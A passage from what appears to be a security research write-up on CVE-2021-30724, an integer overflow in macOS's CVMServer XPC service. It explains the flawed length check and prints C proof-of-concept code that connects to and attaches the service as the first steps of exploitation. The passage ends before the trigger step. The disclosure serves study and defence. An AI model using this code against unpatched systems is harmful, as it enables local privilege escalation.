![](\"https:\/\/www.trendmicro.com\/content\/dam\/trendmicro\/global\/en\/research\/21\/f\/cve-2021-30724--cvmserver-vulnerability-in-macos-and-ios\/cve-2021-30724_cvmserver_vulnerability.jpg\")
<\/p>\n<\/p>\n
<\/div>\nFigure 2 shows the logic in which the vulnerability exists. As shown in the image, item[3*count]<\/i> is the mapped length, returned from xpc_shmem_map<\/i> (seen in line 134). Meanwhile, beginOffset<\/i> is controllable from the XPC request message (seen in line 135). If the value of item[3*count]<\/i> is less than that of beginOffset<\/i>, then according to the logic, the value of remainLen<\/i> will be an integer overflow. This will lead to the check in line 144 being bypassed. Therefore, the vulnerability can be triggered by specifying item[count]=accessDataLen<\/i> to a large integer (seen from line 136 to 137), which will lead to out of bounds memory access and potential privilege escalation if exploited.<\/p>\n Figure 1 also shows that the flag context->attached is set inside case 4. This means to send the request (case msgType=18), the CVMS service must be attached and XPC request msgType=4 is sent. In turn, to send the XPC requests to the service, a connection must first be established. By searching cross-references to the API call _xpc_connection_create_mach_service<\/i> we were able to get the service name \u201ccom.apple.cvmsServ<\/i>,\u201d and thus establish a connection.<\/p>\n int64_t cvms_connection_create(xpc_connection_t *conn) {<\/p>\n int64_t error = 528;<\/p>\n xpc_connection_t client = xpc_connection_create_mach_service(“com.apple.cvmsServ”, NULL, 2);<\/p>\n xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});<\/p>\n xpc_connection_resume(client);<\/p>\n xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);<\/p>\n xpc_dictionary_set_int64 (req, “message”, 1);<\/p>\n xpc_object_t res = xpc_connection_send_message_with_reply_sync(client, req);<\/p>\n printf(“response: %s\\n”, xpc_copy_description(res));<\/p>\n if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {<\/p>\n error = xpc_dictionary_get_int64(res, “error”);<\/p>\n if (!error) {<\/p>\n *conn = client;<\/p>\n }<\/p>\n }<\/p>\n return error;<\/p>\n }<\/p>\n<\/blockquote>\n After doing so, we attached the service, with the arguments fetched through debugging.<\/p>\n int64_t cvms_service_attach(xpc_connection_t conn) {<\/p>\n int64_t error = 528;<\/p>\n xpc_object_t req = xpc_dictionary_create(NULL, NULL, 0);<\/p>\n xpc_dictionary_set_int64 (req, “message”, 4);<\/p>\n xpc_dictionary_set_string(req, “framework_name”, “OpenCL”);<\/p>\n xpc_dictionary_set_string(req, “bitcode_name”, “”);<\/p>\n xpc_dictionary_set_string(req, “plugin_name”, “\/System\/Library\/Frameworks\/OpenGL.framework\/Libraries\/libGLVMPlugin.dylib”);<\/p>\n struct AttachArgs {<\/p>\n int64_t a1;<\/p>\n int64_t a2;<\/p>\n } args = {0, 0x0000211000000009};\/\/M1 Mac use 0x000021100000000a<\/p>\n xpc_dictionary_set_data(req, “args”, &args, sizeof(args));<\/p>\n xpc_object_t res = xpc_connection_send_message_with_reply_sync(conn, req);<\/p>\n printf(“response: %s\\n”, xpc_copy_description(res));<\/p>\n if (xpc_get_type(res) == XPC_TYPE_DICTIONARY) {<\/p>\n error = xpc_dictionary_get_int64(res, “error”);<\/p>\n if (!error) {<\/p>\n int64_t pool_index = xpc_dictionary_get_int64(res, “pool_index”);<\/p>\n printf(“pool_index: %lld\\n”, pool_index);<\/p>\n }<\/p>\n }<\/p>\n return error;<\/p>\n }<\/p>\n<\/blockquote>\n After attaching the CVMS service and sending XPC request msgType=4 we can now send the request (case msgType=18) where the vulnerability is found. To better understand how this vulnerability is triggered, we explain the XPC message structure shown in Figure 2.<\/p>\n From line 97 to 105, we can see that request[\u201csource\u201d] is an XPC array, which stores the list of source code data. At line 108, 32 bytes (4 pointer size) is allocated for each array item.<\/p>\nTriggering the vulnerability<\/span><\/h3>\n
\n
\n